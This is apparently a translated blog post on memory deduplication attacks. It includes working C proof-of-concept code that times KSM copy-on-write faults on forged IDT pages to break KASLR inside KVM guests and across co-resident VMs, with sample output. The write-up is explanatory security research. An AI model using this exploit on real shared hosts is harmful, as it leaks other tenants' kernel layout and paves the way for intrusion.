Memory Deduplication Attacks

2024-01-15 23:28

本文主要是介绍Memory Deduplication Attacks,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

原文

最近看到了一系列描述Memory Deduplication Attacks的研究,它已被用于指纹系统[1]、破解 (K)ASLR[2,3,4]、泄漏数据库记录[4],甚至利用 rowhammer[ 5]。这是一类非常酷的攻击,以前从未听说过,但我没有太多运气找到这些攻击的任何 POC……所以,我想我应该写下我学到的关于这些攻击如何运作的知识,并写下我自己的其中一种攻击版本可用于破坏当前 VM 以及跨 VM 的 KVM 中的 KASLR。

可以在此处找到与本文相关的代码示例存储库:https://github.com/zolutal/dedup-attacks

什么是Memory Deduplication

Memory Deduplication 是一种减少系统上使用的内存量的优化。这个想法是,相似的进程可能具有相似的内存内容,因此通过将具有相同内容的内存页指向相同的物理地址并将它们标记为写时复制,可以节省大量内存。

Linux 通过Kernel Same-Page Merging(KSM)来实现这一点,顾名思义,它通过将具有相同内容的页面指向相同的物理内存来“合并”它们。 KSM 将以可配置的时间间隔定期运行,每次扫描多个页面以查找要合并的相同内容。

请注意,默认情况下可能未启用 KSM。此外,并非每个页面都是可合并的,在 Linux 上,只有明确标记为可合并的页面才可合并,例如将 madvise 与 MADV_MERGABLE 结合使用。

有关如何启用和配置 KSM 的文档位于此处:Kernel Samepage Merging

作为参考,Ubuntu 计算机上 KSM 的默认配置:

/sys/kernel/mm/ksm/run:1
/sys/kernel/mm/ksm/stable_node_chains_prune_millisecs:2000
/sys/kernel/mm/ksm/merge_across_nodes:1
/sys/kernel/mm/ksm/use_zero_pages:0
/sys/kernel/mm/ksm/pages_to_scan:100
/sys/kernel/mm/ksm/sleep_millisecs:200
/sys/kernel/mm/ksm/use_zero_pages:0

观察Memory Deduplication

如前所述,当页面被合并时,它会被设置为写时复制(CoW),简而言之,这只是意味着它的访问权限被设置为不可写(写保护),因此如果合并,就会发生页面错误,当内核发现尝试写入写时复制页面时发生页面错误时,它将将该页面的内容复制到新分配的页面,并在新页面上执行写操作。

因此,如果我们有一个已进行Deduplication的页面并对其进行写入,则会发生页面错误。页面错误必须由内核处理,内核必须识别页面错误是对写时复制页面的写入,分配一个新页面,将旧页面的内容复制到新页面,然后执行在返回用户空间之前再次写入。这是一大堆事情,比无故障内存写入需要更长的时间,这意味着我们可以轻松地使用计时器来记录写入是否是故障写入,从而使我们能够检测给定页面上是否发生了重复数据删除。

定时页面错误

那么利用deduplication的第一步是能够检测何时发生页面错误。演示页面错误检测的一个简单方法是使用使用 mmap 分配的内存。在 Linux 上,mmap 的默认行为是不立即分配所请求的内存。这是因为 Linux 实现了按需分页,因此页面在第一次访问之前不会分配内存。我们可以从下面的例子中看到这一点。

// write a null byte to addr
void poke(char *addr) { *addr = '\0'; }// return the difference in the processor's timestamp before and after poke
uint64_t time_poke(char *addr) {uint64_t start = __rdtsc();poke(addr);uint64_t end = __rdtsc();return end-start;
}// allocate a single read/write anon/private page
void *alloc_page() {return mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, -1, 0);
}int main() {void *page = alloc_page();// demonstrates that faulting accesses have distinct timingsprintf("fault     : %ld cycles\n", time_poke(page));printf("post-fault: %ld cycles\n", time_poke(page));
}

计时器不是特别精确,但实际上并不需要如此,因为页面错误需要多长时间,以下是我运行此代码的结果:

fault     : 7290 cycles
post-fault: 108 cycles

请注意,第一次访问花费的时间更长,这是因为如前所述,直到我尝试访问该页面时,该页面才被实际分配。因此,当我通过调用 poke 写入时,发生了页面错误,导致内核为该页面分配内存。现在,当第二次 Poke 计时时,页面已经分配,​​因此访问速度更快并且不会出现错误。

定时un-merging

现在让我们尝试使用 madvise 和 MADV_MERGABLE 来复制这一点。
除了 madvise 和附加写入之外,设置非常相似,现在我们让页面合并,并计算写时复制页面错误而不是请求分页页面错误。

...
// read a byte from addr
void maccess(char *addr) { volatile char c = *addr; }// time maccess using the processor timestamp
uint64_t time_access(char *addr) {uint64_t start = __rdtsc();maccess(addr);uint64_t end = __rdtsc();return end-start;
}int main() {// allocate victim and attacker pagesvoid *victim = alloc_page();void *attacker = alloc_page();// mark both pages as mergablemadvise(victim, 0x1000, MADV_MERGEABLE);madvise(attacker, 0x1000, MADV_MERGEABLE);// write something unique to both pages so they aren't merged with// other pages, this also faults them to be sure they are allocated*(uint64_t *)victim = 0x1337;*(uint64_t *)attacker = 0x1337;printf("sleeping to wait for merge...\n");sleep(10);printf("finished sleeping... checking access times\n");printf("read  : %ld cycles\n", time_access(attacker));printf("write : %ld cycles\n", time_poke(attacker));printf("write : %ld cycles\n", time_poke(attacker));return 0;
}

输出如下:

sleeping to wait for merge...
finished sleeping... checking access times
read  : 54 cycles
write : 96768 cycles
write : 54 cycles

初始读取速度很快,这意味着该页面存在并且尚未被换出或发生任何其他情况,但第一次写入速度非常慢,而第二次写入速度很快。该结果表明由于页面已合并而在第一次写入时发生了页面错误,并且页面错误的时间差异非常明显。现在我们知道我们可以观察memory deduplication,让我们看看如何利用它。

针对KVM

Kernel Samepage Merging 最初是根据 KVM 设计的[7]。尽管 madvise 将其暴露给任何应用程序,但 KVM 仍然是它的主要用户,如果在系统上启用它,qemu 将默认使用它。

确保为 KVM 启用了 KSM

要检查系统上是否启用了 KSM,请检查 /sys/kernel/mm/ksm/run 的内容,如果设置为"1",则 KSM 已启用。

要检查是否使用 KVM 为 qemu 启用了 KSM,请检查 /etc/default/qemu-kvm 的内容,如果设置为“AUTO”或“1”,则使用 KVM 的 qemu VM 的内存将变得可合并。

观察 KVM 中的deduplication

让我们确认使用类似的设置在 KVM 中可以检测到deduplication。我使用 qemu-system-x86_64 启动了一个 Linux VM,并指定了“-enable-kvm”和“-cpu host”,并运行了以下代码。

// allocate victim and attacker pages
void *victim = alloc_page();
void *attacker = alloc_page();// write something unique to both pages so they aren't merged with
// other zero pages, this also faults them to be sure they are allocated
memset((char *)victim, 0x41, 0x1000);
memset((char *)attacker, 0x41, 0x1000);while (1) {printf("sleeping to wait for merge...\n");sleep(20);printf("finished sleeping... checking access times\n");// make sure attacker is present and in cachetime_access(attacker);printf("write : %ld cycles\n", time_poke(attacker));printf("write : %ld cycles\n", time_poke(attacker));
}

除了在虚拟机内部之外,此测试与上一个测试之间的唯一主要区别是页面不再使用 madvise 标记为可合并,并且计时被包含在循环中(因为合并VM 使用的内存需要更长的时间)。

以下是此测试的输出示例:

...
sleeping to wait for merge...
finished sleeping... checking access times
write : 81 cycles
write : 81 cyclessleeping to wait for merge...
finished sleeping... checking access times
write : 55242 cycles
write : 54 cycles
...

因此,甚至无需将这些页面标记为可合并,我们就可以看到deduplication发生了!

打破KASLR

那么我们如何使用memory deduplication来打破KASLR呢?

描述这种攻击的文章[2]以重定位为目标,其思想是在内核被KASLR重定位后必须调整许多指令,如果我们能找到一些只有少数重定位的代码页,那么只有重新定位的指令在boot之间会有所不同,泄漏重新定位的指令将意味着破坏KASLR。因此,如果我们只是将用户空间中的一个页面与内核代码页的内容进行映射,并强制重定位,直到发生合并,我们就会出现泄漏!

中断描述符表 (IDT) 是此攻击的一个不错的目标,因为它充满了代表中断入口点的条目,这些条目仅在每次启动时因 KASLR 的变化而变化,从而影响它们将指向的地址。这使得生成条目相对容易,我可以启动虚拟机,转储 IDT 以收集每个条目的第一个 qword,根据要定位的内核的最低可能虚拟地址重新设置它们,然后将它们粘贴到数组。我将在存储库中包含一个我编写的脚本,该脚本使生成此数组变得容易。

对于具有如下所示条目的 IDT:

gef➤  x/16gx 0xfffffe0000000000
0xfffffe0000000000:	0x88808e0000100920	0x00000000ffffffff
0xfffffe0000000010:	0x88808e0300100c40	0x00000000ffffffff
0xfffffe0000000020:	0x88808e0200101680	0x00000000ffffffff
0xfffffe0000000030:	0x8880ee0000100b30	0x00000000ffffffff
0xfffffe0000000040:	0x8880ee0000100940	0x00000000ffffffff
0xfffffe0000000050:	0x88808e0000100960	0x00000000ffffffff
0xfffffe0000000060:	0x88808e0000100b10	0x00000000ffffffff
0xfffffe0000000070:	0x88808e0000100980	0x00000000ffffffff

我最终得到一个如下所示的数组:

uint64_t entries[256] = { 0x81208e0000100920, 0x81208e0300100c40, 0x81208e0200101680, 0x8120ee0000100b30, 0x8120ee0000100940, 0x81208e0000100960, 0x81208e0000100b10, 0x81208e0000100980, 0x81208e0100100ca0, 0x81208e00001009a0, 0x81208e0000100a20, 0x81208e0000100a50, 0x81208e0000100a80, 0x81208e0000100ab0, 0x81208e0000100b70, 0x81208e00001009c0, 0x81208e00001009e0, 0x81208e0000100ae0, 0x81208e0400100ba0, 0x81208e0000100a00, 0x81208e0000100db0, 0x82678e000010992d, 0x82678e0000109936, 0x82678e000010993f, 0x82678e0000109948, 0x82678e0000109951, 0x82678e000010995a, 0x82678e0000109963, 0x82678e000010996c, 0x81208e0500100d00, 0x82678e000010997e, 0x82678e0000109987, 0x81208e0000100f10, 0x81208e0000100228, 0x81208e0000100230, 0x81208e0000100238, 0x81208e0000100240, 0x81208e0000100248, 0x81208e0000100250, 0x81208e0000100258, 0x81208e0000100260, 0x81208e0000100268, 0x81208e0000100270, 0x81208e0000100278, 0x81208e0000100280, 0x81208e0000100288, 0x81208e0000100290, 0x81208e0000100298, 0x81208e00001002a0, 0x81208e00001002a8, 0x81208e00001002b0, 0x81208e00001002b8, 0x81208e00001002c0, 0x81208e00001002c8, 0x81208e00001002d0, 0x81208e00001002d8, 0x81208e00001002e0, 0x81208e00001002e8, 0x81208e00001002f0, 0x81208e00001002f8, 0x81208e0000100300, 0x81208e0000100308, 0x81208e0000100310, 0x81208e0000100318, 0x81208e0000100320, 0x81208e0000100328, 0x81208e0000100330, 0x81208e0000100338, 0x81208e0000100340, 0x81208e0000100348, 0x81208e0000100350, 0x81208e0000100358, 0x81208e0000100360, 0x81208e0000100368, 0x81208e0000100370, 0x81208e0000100378, 0x81208e0000100380, 0x81208e0000100388, 0x81208e0000100390, 0x81208e0000100398, 0x81208e00001003a0, 0x81208e00001003a8, 0x81208e00001003b0, 0x81208e00001003b8, 0x81208e00001003c0, 0x81208e00001003c8, 0x81208e00001003d0, 0x81208e00001003d8, 0x81208e00001003e0, 0x81208e00001003e8, 0x81208e00001003f0, 0x81208e00001003f8, 0x81208e0000100400, 0x81208e0000100408, 0x81208e0000100410, 0x81208e0000100418, 0x81208e0000100420, 0x81208e0000100428, 0x81208e0000100430, 0x81208e0000100438, 0x81208e0000100440, 0x81208e0000100448, 0x81208e0000100450, 0x81208e0000100458, 0x81208e0000100460, 0x81208e0000100468, 0x81208e0000100470, 0x81208e0000100478, 0x81208e0000100480, 0x81208e0000100488, 0x81208e0000100490, 0x81208e0000100498, 0x81208e00001004a0, 0x81208e00001004a8, 0x81208e00001004b0, 0x81208e00001004b8, 0x81208e00001004c0, 0x81208e00001004c8, 0x81208e00001004d0, 0x81208e00001004d8, 0x81208e00001004e0, 0x81208e00001004e8, 0x81208e00001004f0, 0x81208e00001004f8, 0x81208e0000100500, 0x81208e0000100508, 0x81208e0000100510, 0x81208e0000100518, 0x8120ee0000101a80, 0x81208e0000100528, 0x81208e0000100530, 0x81208e0000100538, 0x81208e0000100540, 0x81208e0000100548, 0x81208e0000100550, 0x81208e0000100558, 0x81208e0000100560, 0x81208e0000100568, 0x81208e0000100570, 0x81208e0000100578, 0x81208e0000100580, 0x81208e0000100588, 0x81208e0000100590, 0x81208e0000100598, 0x81208e00001005a0, 0x81208e00001005a8, 0x81208e00001005b0, 0x81208e00001005b8, 0x81208e00001005c0, 0x81208e00001005c8, 0x81208e00001005d0, 0x81208e00001005d8, 0x81208e00001005e0, 0x81208e00001005e8, 0x81208e00001005f0, 0x81208e00001005f8, 0x81208e0000100600, 0x81208e0000100608, 0x81208e0000100610, 0x81208e0000100618, 0x81208e0000100620, 0x81208e0000100628, 0x81208e0000100630, 0x81208e0000100638, 0x81208e0000100640, 0x81208e0000100648, 0x81208e0000100650, 0x81208e0000100658, 0x81208e0000100660, 0x81208e0000100668, 0x81208e0000100670, 0x81208e0000100678, 0x81208e0000100680, 0x81208e0000100688, 0x81208e0000100690, 0x81208e0000100698, 0x81208e00001006a0, 0x81208e00001006a8, 0x81208e00001006b0, 0x81208e00001006b8, 0x81208e00001006c0, 0x81208e00001006c8, 0x81208e00001006d0, 0x81208e00001006d8, 0x81208e00001006e0, 0x81208e00001006e8, 0x81208e00001006f0, 0x81208e00001006f8, 0x81208e0000100700, 0x81208e0000100708, 0x81208e0000100710, 0x81208e0000100718, 0x81208e0000100720, 0x81208e0000100728, 0x81208e0000100730, 0x81208e0000100738, 0x81208e0000100740, 0x81208e0000100748, 0x81208e0000100750, 0x81208e0000100758, 0x81208e0000100760, 0x81208e0000100768, 0x81208e0000100770, 0x81208e0000100778, 0x81208e0000100780, 0x81208e0000100788, 0x81208e0000100790, 0x81208e0000100798, 0x81208e00001007a0, 0x81208e00001007a8, 0x81208e00001007b0, 0x81208e00001007b8, 0x81208e00001007c0, 0x81208e00001007c8, 0x81208e00001007d0, 0x81208e00001007d8, 0x81208e00001007e0, 0x81208e00001007e8, 0x81208e00001007f0, 0x81208e00001007f8, 0x81208e0000100800, 0x81208e0000100808, 0x81208e0000100810, 0x81208e0000100818, 0x81208e0000100820, 0x81208e0000100828, 0x81208e0000100830, 0x81208e0000100838, 0x81208e0000100840, 0x81208e0000100848, 0x81208e0000100850, 0x81208e0000100858, 0x81208e0000100860, 0x81208e0000100868, 0x81208e0000100870, 0x81208e0000100878, 0x81208e0000100eb0, 0x81208e0000100888, 0x81208e0000100890, 0x81208e0000100898, 0x81208e0000101050, 0x81208e0000101030, 0x81208e0000101010, 0x81208e0000101110, 0x81208e0000100fb0, 0x81208e00001008c8, 0x81208e0000100ff0, 0x81208e0000100ed0, 0x81208e0000100f30, 0x81208e0000100f90, 0x81208e0000100fd0, 0x81208e0000100f50, 0x81208e0000100f70, 0x81208e0000100ef0, 0x81208e0000100e70, 0x81208e0000100e90 };

创建该数组后,可以很容易地为潜在的 KASLR 偏移量生成 IDT 页:

void *setup_idt_page(uint16_t offset) {uint64_t *page = alloc_page();for (int i = 0; i < 256; i++) {uint64_t shifted_offset = (uint64_t)offset << 53;page[i*2] = shifted_offset + entries[i];page[i*2+1] = 0x00000000ffffffff;}return page;
}

现在剩下的就是将它们放在一起,我们将构建一个可以通过利用 IDT 页面上的 KSM 来破坏 KVM 内的 KASLR 的攻击!

// create candidate IDT pages
void *idt_pages[512];
for (int i = 0; i < 512; i++)idt_pages[i] = setup_idt_page(i);// detect if any candidate pages were merged
int attempt = 0;
while (1) {printf("-- beginning attempt %d --\n", ++attempt);uint64_t results[512];for (int i = 0; i < 512; i++) {void *page = idt_pages[i];time_access(page);uint64_t first = time_poke(page);uint64_t second = time_poke(page);void *base = (void *)0xffffffff80000000 + (i << 21);printf("%p (%#03x): %ld => %ld\n", base, i, first, second);results[i] = first;}for (uint64_t i = 0; i < 512; i++) {if (results[i] > MERGE_THRESHOLD) {printf("detected merged page at index %#03lx\n", i);printf("kernel base = %p\n", (void *)0xffffffff80000000 + (i << 21));return 0;}}sleep(20);
}

在我的主机上 KSM 的默认配置下,我在一个已经运行了几分钟的虚拟机上用了不到九分钟就成功完成了 打破KASLR。

要看到攻击起作用而不必等待这么长时间,请考虑将 KSM 的 sleep_miliseconds 配置值降低到 20 毫秒左右。

跨虚拟机打破 KASLR

好吧,现在跨虚拟机怎么样?好吧,实际上没有什么可做的了。

在当前虚拟机上破坏 KASLR 的代码已经可以跨虚拟机工作,只要它们使用 KSM,它就会检测任何正在运行的虚拟机上存在的任何匹配的 IDT。

为了确认这一点,我运行了两个具有相同内核映像的虚拟机,并从攻击循环中删除了退出条件,这样即使它发现了重复数据删除的 IDT 页面,它也会继续运行,结果如下:

VM 1: 虚拟机1:

root@host:~/kvm-kaslr# cat /proc/kallsyms | grep "T _text"
ffffffffb5800000 T _text

VM 2: 虚拟机2:

/home/root # cat /proc/kallsyms | grep "T _text"
ffffffffb4400000 T _text

运行攻击一段时间后我得到了这个:

detected merged page at index 0x1ac
kernel base = 0xffffffffb5800000

随其后的是

detected merged page at index 0x1a2
kernel base = 0xffffffffb4400000

跨VM泄漏实现!

参考

[1] Rodney Owens and Weichao Wang. Non-interactive OS fingerprinting through memory de-duplication technique in virtual machines. In International Performance Computing and Communications Conference, 2011.

[2] Taehun Kim, Taehyun Kim, and Youngjoo Shin. Breaking kaslr using memory deduplication in virtualized environments. Electronics, 2021. URL: https://www.mdpi.com/2079-9292/10/17/2174.

[3] Antonio Barresi, Kaveh Razavi, Mathias Payer, and Thomas R. Gross. CAIN: silently breaking ASLR in the cloud. In WOOT, 2015.

[4] Martin Schwarzl, Erik Kraft, Moritz Lipp, and Daniel Gruss. Remote Page Deduplication Attacks. In NDSS, 2022.

[5] K. Razavi, B. Gras, E. Bosman, B. Preneel, C. Giuffrida, and H. Bos. Flip Feng Shui: Hammering a Needle in the Software Stack. in SEC, 2016.

[6] E. Bosman, K. Razavi, H. Bos, and C. Giuffrida. Dedup Est Machina: Memory Deduplication as an Advanced Exploitation Vector. In SP, 2016.

[7] lwn:https://lwn.net/Articles/306704/

这篇关于Memory Deduplication Attacks的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/610543

相关文章

Learning Memory-guided Normality for Anomaly Detection——学习记忆引导的常态异常检测

又是一篇在自编码器框架中研究使用记忆模块的论文,可以看做19年的iccv的论文的衍生,在我的博客中对19年iccv这篇论文也做了简单介绍。韩国人写的,应该是吧,这名字听起来就像。 摘要abstract 我们解决异常检测的问题,即检测视频序列中的异常事件。基于卷积神经网络的异常检测方法通常利用代理任务(如重建输入视频帧)来学习描述正常情况的模型,而在训练时看不到异常样本,并在测试时使用重建误

【论文分享】GPU Memory Exploitation for Fun and Profit 24‘USENIX

目录 AbstractIntroductionResponsible disclosure BackgroundGPU BasicsGPU architectureGPU virtual memory management GPU Programming and ExecutionGPU programming modelGPU kernelDevice function NVIDIA

FUSEE: A Fully Memory-Disaggregated Key-Value Store——论文阅读

FAST 2023 Paper 论文阅读笔记整理 问题 分布式内存键值(KV)存储正在采用分离式内存(DM)体系结构以提高资源利用率。然而,现有的DM上的KV存储采用半分离式设计,在DM上存储KV对,但在单个元数据服务器上管理元数据,因此仍然在元数据服务器上遭受低资源效率的问题。 如图1a,Clover[60]采用半分离式设计,在计算节点(CN)上部署客户端,在内存节点(MN)上存储KV对,

怎样在xcode4.x里面使用Memory Leaks和Instruments

开胃小菜--简单的断点调试 在xcode中打开一个app,在想要break的行号上单击,即可生成一个深色的箭头标识--断点。如下图,在viewDidLoad:中设置了断点。 运行app,等待。。。就可以看到xcode在断点处进入调试模式,现在让我们把视线移到xcode右下角的控制台,有木有看到(lldb)这样一行,鼠标移到此行,输入 1 po [self view] 回车,看

Java memory model(JMM)的理解

总结:JMM 是一种规范,目的是解决由于多线程通过共享内存进行通信时,存在的本地内存数据不一致、编译器会对代码指令重排序、处理器会对代码乱序执行等带来的问题。目的是保证并发编程场景中的原子性、可见性、有序性。 总结的很精辟! 感谢Hollis总结

以太坊存储类型(memory,storage)及变量存储详解

1数据存储位置(Data location)概念 1.1 storage, memory, calldata, stack区分 在 Solidity 中,有两个地方可以存储变量 :存储(storage)以及内存(memory)。 Storage变量是指永久存储在区块链中的变量。 Memory 变量则是临时的,当外部函数对某合约调用完成时,内存型变量即被移除。 内存(memory)位置

C++ 之 Memory Barrier

今天群里姐夫推荐了个C++的Actor框架 Theron,就看了下源码,注释比代码还多,业界良心。 源码我还没看完,就看到了他的一个叫StringPool的类,里面通过Ref来生成单例(Singleton),看了下 static void Reference();这个函数实现的时候,突然脑洞一开,为啥没有Memory Barrier( wiki)。 先贴一下他的代码:

【精讲】PCIe基础篇——Memory IO 地址空间

在早期的PC中,IO设备中的内部寄存器/存储是通过IO地址空间(由Intel定义)来访问的。然而,由于与IO地址空间相关的一些限制和不良影响(我们在这里不讨论),IO地址空间很快就失去了软件和硬件供应商的青睐。这导致IO设备的内部寄存器/存储被映射到内存地址空间(通常称为Memory mapped IO,或MMIO)。然而,由于早期的软件是使用IC地址空间来访问IO设备上的内部寄存

armv8 memory model概述

概述 在armv8 架构中,它引入了更多的维度来描述内存模型,从而在此基础上进行硬件优化(但其中一些并未被主流的软件所接受),在此做一些简单的整理,更多信息请参考 Arm spec 以及 AMBA 协议。下文主要是对Memory 和 Device 两大类的模型进行解释,个人言论难免有误,如有谬误请不吝指正。 首先将物理地址空间映射分成两大类: Memory, Device。 两者最大的区别在于

集成电路学习:什么是Flash Memory闪存

Flash Memory:闪存         Flash Memory,即闪存,是一种电子式可清除程序化只读存储器的形式,它允许在操作中被多次擦除或写入数据。以下是关于Flash Memory(闪存)的详细解释: 一、Flash Memory闪存的定义与特点 Flash Memory闪存的定义:闪存是一种非易失性存储器,即断电后数据也不会丢失。它采用电子式存储方式,通过电荷的存储来代表